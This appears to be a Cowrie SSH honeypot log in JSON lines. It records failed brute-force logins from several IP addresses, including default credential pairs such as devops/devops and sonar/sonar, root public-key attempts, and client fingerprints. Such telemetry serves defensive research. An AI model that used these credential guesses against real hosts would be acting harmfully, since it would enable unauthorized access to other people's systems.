{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:26.573494Z","src_ip":"103.75.199.4","session":"ab6868cdd63d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:27.668479Z","src_ip":"103.75.199.4","session":"ab6868cdd63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41350,"dst_ip":"159.203.135.109","dst_port":22,"session":"38918ac18bc8","protocol":"ssh","message":"New connection: 103.75.199.4:41350 (159.203.135.109:22) [session: 38918ac18bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:48.146655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:48.151696Z","src_ip":"103.75.199.4","session":"38918ac18bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:48.247202Z","src_ip":"103.75.199.4","session":"38918ac18bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:48.530180Z","src_ip":"103.75.199.4","session":"38918ac18bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:45:49.624949Z","src_ip":"103.75.199.4","session":"38918ac18bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":48618,"dst_ip":"10.17.0.5","dst_port":22,"session":"d352e2149ec6","protocol":"ssh","message":"New connection: 78.40.37.143:48618 (10.17.0.5:22) [session: d352e2149ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:01.114008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:01.118207Z","src_ip":"78.40.37.143","session":"d352e2149ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:01.197694Z","src_ip":"78.40.37.143","session":"d352e2149ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g9q7jreo","password":".GxRJez2m1MHgY2j4lgG","message":"login attempt [g9q7jreo/.GxRJez2m1MHgY2j4lgG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:01.549637Z","src_ip":"78.40.37.143","session":"d352e2149ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:02.633153Z","src_ip":"78.40.37.143","session":"d352e2149ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.108.178","src_port":37540,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6ceb219717","protocol":"ssh","message":"New connection: 23.237.108.178:37540 (10.17.0.5:22) [session: 0a6ceb219717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.409705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.414890Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.484277Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:b8:dd:62:23:f8:e9:2a:e2:5b:77:aa:e7:1f:b0:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRpgiCiWLdPNh4wj6wfTdrYX7ZwaM4xGppLNYHxc/OkXttQLdUmzVJG7DKdRw7AqjwcXxwihH5iiiqlIzeKMYU+oN1UBHB6HJHGi9KRgrkN+3S0PijuunsUGXyFIlvhl6hN69n7EGEyFTsB+VtWsNl7TtBBTWZuPutYuZN9VcEWFccxaru/x7/666l620lY/ftrbEpYNDCr1FjC7zVU7W/g765B+u/Hd6qdH4autTmSq7OgaUU5SK6DJhCCl+x+HM48NNfBi0xWquogHC/GIWjIQNMWteJNobdLugvGrzsRhKyjHmMLxProP5/x+HitAUKhWHuGFYHIEfgFqzuxzsCFA1VQ0CT8ok/q4DAZnCjNy87ICBhfdRIrfE7V7CioiEDOUaDR3r80VRP5ehd4hY1juuR8hiyIuMU6+P1eA7tFg+Zzum9BGw6pf1RtZnqgJJPl+sKKOYFWQrOKmqsGnks8GzravIpfs+uUrKvw53xiLqq2OynwEaHHIzGiB2TsTU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:b8:dd:62:23:f8:e9:2a:e2:5b:77:aa:e7:1f:b0:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.786364Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:b8:dd:62:23:f8:e9:2a:e2:5b:77:aa:e7:1f:b0:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRpgiCiWLdPNh4wj6wfTdrYX7ZwaM4xGppLNYHxc/OkXttQLdUmzVJG7DKdRw7AqjwcXxwihH5iiiqlIzeKMYU+oN1UBHB6HJHGi9KRgrkN+3S0PijuunsUGXyFIlvhl6hN69n7EGEyFTsB+VtWsNl7TtBBTWZuPutYuZN9VcEWFccxaru/x7/666l620lY/ftrbEpYNDCr1FjC7zVU7W/g765B+u/Hd6qdH4autTmSq7OgaUU5SK6DJhCCl+x+HM48NNfBi0xWquogHC/GIWjIQNMWteJNobdLugvGrzsRhKyjHmMLxProP5/x+HitAUKhWHuGFYHIEfgFqzuxzsCFA1VQ0CT8ok/q4DAZnCjNy87ICBhfdRIrfE7V7CioiEDOUaDR3r80VRP5ehd4hY1juuR8hiyIuMU6+P1eA7tFg+Zzum9BGw6pf1RtZnqgJJPl+sKKOYFWQrOKmqsGnks8GzravIpfs+uUrKvw53xiLqq2OynwEaHHIzGiB2TsTU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.790870Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:44:66:64:b2:d3:dd:cb:60:0e:89:3c:fe:2f:5a:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCPUcTGj9sO+tcbmcuh7nhBtX/n/7W4eN/KFVAxVd7Q4eZSWjl+U/oJtT2I7ZU5acwuhDSleTWpqQOBNG0OmJei2zELCFNh/tKMUHBEklV3djogew5haYICx34LKO1Ai0e9Ex7iR/hWpybTclK7tOfB/7SM7ZE37623R4g7opLM8DwBZe+JkNPQ3fLFdnHLXlR8j+Y3iqugh8n5nVojmF03LOOM9lz63pzuLTKyyNzg5ezP96savbtvNTT6tTm630DG3R1bGzBPCet0aELLskN7xtevdSf2aANK/79TNdrLZDKmoy09R45BAi3/LSbOXl9NTNjlW/nio3B4cXaeCf9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:44:66:64:b2:d3:dd:cb:60:0e:89:3c:fe:2f:5a:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.857211Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:44:66:64:b2:d3:dd:cb:60:0e:89:3c:fe:2f:5a:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCPUcTGj9sO+tcbmcuh7nhBtX/n/7W4eN/KFVAxVd7Q4eZSWjl+U/oJtT2I7ZU5acwuhDSleTWpqQOBNG0OmJei2zELCFNh/tKMUHBEklV3djogew5haYICx34LKO1Ai0e9Ex7iR/hWpybTclK7tOfB/7SM7ZE37623R4g7opLM8DwBZe+JkNPQ3fLFdnHLXlR8j+Y3iqugh8n5nVojmF03LOOM9lz63pzuLTKyyNzg5ezP96savbtvNTT6tTm630DG3R1bGzBPCet0aELLskN7xtevdSf2aANK/79TNdrLZDKmoy09R45BAi3/LSbOXl9NTNjlW/nio3B4cXaeCf9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.862019Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:cb:ac:58:43:97:0e:ce:a5:e7:84:e4:4a:a0:61:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTrrSBR6SBPQlzzHsa2mikqiqteC4jr7DW0isNaNX6PG5aVVcHEN8xwSWTCERnMzYYIwLrLDBW3AnynJksiUeOE5zuHUgAKx4TzM/mTzmOjg3Zx1/AOBBVJzLvNfa0T/pAlyToOuFm71GiaRjxkhOI/6kaDsgGRBA21jxPMnHhNW5oAWPTZCgoMHAUMZuEO8v565jSmAO5xNtZsL3wWfNluduSK330XjYFH1nfAbW0U6+MSKiW7nxlh3G1v37u+Mt0/hndNHRfOXUDA7TDrGdGgf2IL/rLMtJrQOtXE+eHXSbAOVGu0vlvBRVMAbMFyZra8XJgXsi1ZXGi5F6tOVmn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:cb:ac:58:43:97:0e:ce:a5:e7:84:e4:4a:a0:61:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.927618Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:cb:ac:58:43:97:0e:ce:a5:e7:84:e4:4a:a0:61:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTrrSBR6SBPQlzzHsa2mikqiqteC4jr7DW0isNaNX6PG5aVVcHEN8xwSWTCERnMzYYIwLrLDBW3AnynJksiUeOE5zuHUgAKx4TzM/mTzmOjg3Zx1/AOBBVJzLvNfa0T/pAlyToOuFm71GiaRjxkhOI/6kaDsgGRBA21jxPMnHhNW5oAWPTZCgoMHAUMZuEO8v565jSmAO5xNtZsL3wWfNluduSK330XjYFH1nfAbW0U6+MSKiW7nxlh3G1v37u+Mt0/hndNHRfOXUDA7TDrGdGgf2IL/rLMtJrQOtXE+eHXSbAOVGu0vlvBRVMAbMFyZra8XJgXsi1ZXGi5F6tOVmn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:04.933128Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:00:64:9b:3c:a2:4e:e4:5d:8e:97:d8:fd:6e:17:19","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKsIBrvlJvtu/nzzK+/33fpF2dB2+sx8+tts+jZ8DEJvfiwjK7TH9YjrWydmkpCw5awhLakDEdDioC9/VpatAaaIhOwpItqNI8J8tsrKk7cJTJPBQvQAJx9YeBfrOngJCwJm2GFCbp77qkJkt5maZaJX5LJ00y/WYtPL5KwQLj/DAAAAFQC6mHxz1AuZ6DvCHawwNBlYMZl3ZwAAAIADDpDCg6mJ3hb9wokHwrKK7dncwm6bs1ze2UyR2Ybgjta745tyQgK1tq7/Gq4hUkG1sYdWXjebyeFEiNwiEWYBqH7R04jyN7t4RYUN3YpRgRbL7eN5RiY9r+SvRlwGKmcxLh1WKNI7+ICL1WqPyqvmMQ7wnnlyA8gFuSIhiwSvWQAAAIB1bD9d4Mow0Z7nOxiZwT6L8sqB3+oebNuo990Gsxv5snGq2A/bA34mh+5np8fHuis9TMQJ0jhigKmNKL1i0pfJph8oU8FmZjg0pvxsPa1naJJ+kUks63EwgB0hYCZK/i0KoD6JXZi1y625y8ZjHcYC2OGsIVdlNbtojLt5L8WW5w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ea:00:64:9b:3c:a2:4e:e4:5d:8e:97:d8:fd:6e:17:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:05.002209Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:00:64:9b:3c:a2:4e:e4:5d:8e:97:d8:fd:6e:17:19","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKsIBrvlJvtu/nzzK+/33fpF2dB2+sx8+tts+jZ8DEJvfiwjK7TH9YjrWydmkpCw5awhLakDEdDioC9/VpatAaaIhOwpItqNI8J8tsrKk7cJTJPBQvQAJx9YeBfrOngJCwJm2GFCbp77qkJkt5maZaJX5LJ00y/WYtPL5KwQLj/DAAAAFQC6mHxz1AuZ6DvCHawwNBlYMZl3ZwAAAIADDpDCg6mJ3hb9wokHwrKK7dncwm6bs1ze2UyR2Ybgjta745tyQgK1tq7/Gq4hUkG1sYdWXjebyeFEiNwiEWYBqH7R04jyN7t4RYUN3YpRgRbL7eN5RiY9r+SvRlwGKmcxLh1WKNI7+ICL1WqPyqvmMQ7wnnlyA8gFuSIhiwSvWQAAAIB1bD9d4Mow0Z7nOxiZwT6L8sqB3+oebNuo990Gsxv5snGq2A/bA34mh+5np8fHuis9TMQJ0jhigKmNKL1i0pfJph8oU8FmZjg0pvxsPa1naJJ+kUks63EwgB0hYCZK/i0KoD6JXZi1y625y8ZjHcYC2OGsIVdlNbtojLt5L8WW5w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:05.008304Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:11:62:f4:42:0c:30:e4:a6:4b:07:a5:c8:47:c5:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1K/ikaAxdc4USqXU4REj3NyLEeW1hycYgnl+5RdMf9qoF/UBDzXrd1zS0+mhP0dwIRS1sBo6ShaFhtFSiOcxpVbp57mFYnL6EELnpdyA6vWRjmFQD25FUYBRt9ODTbH0FugMbyMwQ5VTx6dgF28APdSBaPcbf76TT0BBqv5g0raPh1NMpYQrarA94TPO8wgWIoPA1uYKSHBRsuPzaSk/OnmBizCNX3lClhumu9YbH9r0JopRUEo/legRIvkwbJozK6VEszLlP95D2d+49d60lGj4AMK7CBR0t9KcQHH7Ko2+NCIu67m24kM0cjj4S7qoDmjcDJFKn7cujyc44JTL5piKTEC2kJMVCa+1QhAt3eLrhvENK05bX7HqMuNGYb4LGGk781CtjouRDn8RVc5+MMRMb3L+g3b/scx4oLMmdHjraNU9/ClLKzr3HlRrDVhLypFkCL+O/DiPu5FOl7jA7lNg3DZvbkrVt9ps+7v/jTAtqqYbiIaP2aSy4oDv/NnCN9V/T42ePvuv5w5MpaYlAlEX7tgY3Obv+0+8puIHwVjUa/Ipo2WxeJ/YDfz7M89Dlw4l6iLGbzeV7m+Fvx0ck/WBpsmaKY8VdmNJXYX5GT8DHuyphC6qb5AWdwf6z9g2Ya6F107o6upibE5OkV2YD1uViH+8OT89A4tcW6B8Rkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:11:62:f4:42:0c:30:e4:a6:4b:07:a5:c8:47:c5:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:05.078050Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:11:62:f4:42:0c:30:e4:a6:4b:07:a5:c8:47:c5:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1K/ikaAxdc4USqXU4REj3NyLEeW1hycYgnl+5RdMf9qoF/UBDzXrd1zS0+mhP0dwIRS1sBo6ShaFhtFSiOcxpVbp57mFYnL6EELnpdyA6vWRjmFQD25FUYBRt9ODTbH0FugMbyMwQ5VTx6dgF28APdSBaPcbf76TT0BBqv5g0raPh1NMpYQrarA94TPO8wgWIoPA1uYKSHBRsuPzaSk/OnmBizCNX3lClhumu9YbH9r0JopRUEo/legRIvkwbJozK6VEszLlP95D2d+49d60lGj4AMK7CBR0t9KcQHH7Ko2+NCIu67m24kM0cjj4S7qoDmjcDJFKn7cujyc44JTL5piKTEC2kJMVCa+1QhAt3eLrhvENK05bX7HqMuNGYb4LGGk781CtjouRDn8RVc5+MMRMb3L+g3b/scx4oLMmdHjraNU9/ClLKzr3HlRrDVhLypFkCL+O/DiPu5FOl7jA7lNg3DZvbkrVt9ps+7v/jTAtqqYbiIaP2aSy4oDv/NnCN9V/T42ePvuv5w5MpaYlAlEX7tgY3Obv+0+8puIHwVjUa/Ipo2WxeJ/YDfz7M89Dlw4l6iLGbzeV7m+Fvx0ck/WBpsmaKY8VdmNJXYX5GT8DHuyphC6qb5AWdwf6z9g2Ya6F107o6upibE5OkV2YD1uViH+8OT89A4tcW6B8Rkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:05.082204Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:05.153185Z","src_ip":"23.237.108.178","session":"0a6ceb219717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":47124,"dst_ip":"159.203.135.109","dst_port":22,"session":"fccf8f69de38","protocol":"ssh","message":"New connection: 103.75.199.4:47124 (159.203.135.109:22) [session: fccf8f69de38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:10.044318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:10.048668Z","src_ip":"103.75.199.4","session":"fccf8f69de38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:10.140302Z","src_ip":"103.75.199.4","session":"fccf8f69de38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:10.415264Z","src_ip":"103.75.199.4","session":"fccf8f69de38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:11.509380Z","src_ip":"103.75.199.4","session":"fccf8f69de38","protocol":"ssh"}
